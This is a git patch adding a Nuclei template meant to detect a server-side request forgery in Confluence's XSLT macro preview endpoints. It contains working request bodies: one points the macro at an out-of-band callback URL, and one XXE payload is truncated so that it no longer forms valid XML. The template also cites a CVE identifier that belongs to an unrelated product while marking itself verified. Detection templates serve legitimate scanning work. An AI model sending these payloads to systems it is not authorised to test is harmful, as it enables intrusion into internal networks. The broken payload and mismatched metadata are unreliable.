From 161c364682bfa9265be24dfb84f810346557fa60 Mon Sep 17 00:00:00 2001
From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com>
Date: Fri, 19 Dec 2025 13:48:34 +0530
Subject: [PATCH] Create confluence-xslt-macro-ssrf.yaml
---
.../confluence-xslt-macro-ssrf.yaml | 80 +++++++++++++++++++
1 file changed, 80 insertions(+)
create mode 100644 http/vulnerabilities/confluence-xslt-macro-ssrf.yaml
diff --git a/http/vulnerabilities/confluence-xslt-macro-ssrf.yaml b/http/vulnerabilities/confluence-xslt-macro-ssrf.yaml
new file mode 100644
index 00000000000..4b4ed3e6c86
--- /dev/null
+++ b/http/vulnerabilities/confluence-xslt-macro-ssrf.yaml
@@ -0,0 +1,80 @@
+id: confluence-xslt-macro-ssrf
+
+info:
+ name: Atlassian Confluence XSLT Macro - Server-Side Request Forgery
+ author: ritikchaddha
+ severity: high
+ description: |
+ Atlassian Confluence Data Center and Server include an XSLT macro feature that may be vulnerable to Server-Side Request Forgery (SSRF). By leveraging the ability of the XSLT macro to access external resources, attackers can potentially cause the server to make HTTP requests to arbitrary URLs. This can allow internal network scanning, access to sensitive systems, or exposure of internal information.
+ reference:
+ - https://jira.atlassian.com/browse/CONFSERVER-101489
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
+ cvss-score: 6.5
+ cve-id: CVE-2024-29415
+ cwe-id: CWE-918
+ metadata:
+ verified: true
+ max-request: 2
+ vendor: atlassian
+ product: confluence
+ fofa-query: icon_hash="-305179312"
+ tags: cve,cve2024,confluence,atlassian,ssrf,xslt,macro
+
+flow: http(1) || http(2)
+
+http:
+ - method: POST
+ path:
+ - "{{BaseURL}}/rest/tinymce/1/macro/preview"
+ - "{{BaseURL}}/rest/api/content/macro/preview"
+
+ headers:
+ Content-Type: application/json
+
+ body: |
+ {
+ "macro": {
+ "name": "xslt",
+ "body": "",
+ "params": {
+ "location": "http://{{interactsh-url}}/test.xsl"
+ }
+ }
+ }
+
+ matchers:
+ - type: dsl
+ dsl:
+ - 'contains(body, "contextConfigLocation")'
+ - 'contains(interactsh_protocol, "http")'
+ - 'status_code == 200'
+ condition: and
+
+ - method: POST
+ path:
+ - "{{BaseURL}}/rest/tinymce/1/macro/preview"
+ - "{{BaseURL}}/rest/api/content/macro/preview"
+
+ headers:
+ Content-Type: application/json
+
+ body: |
+ {
+ "macro": {
+ "name": "xslt",
+ "body": "",
+ "params": {
+ "xml": "]>&xxe;",
+ "xslt": "Test"
+ }
+ }
+ }
+
+ matchers:
+ - type: dsl
+ dsl:
+ - 'contains(body, "contextConfigLocation")'
+ - 'contains(interactsh_protocol, "http")'
+ - 'status_code == 200'
+ condition: and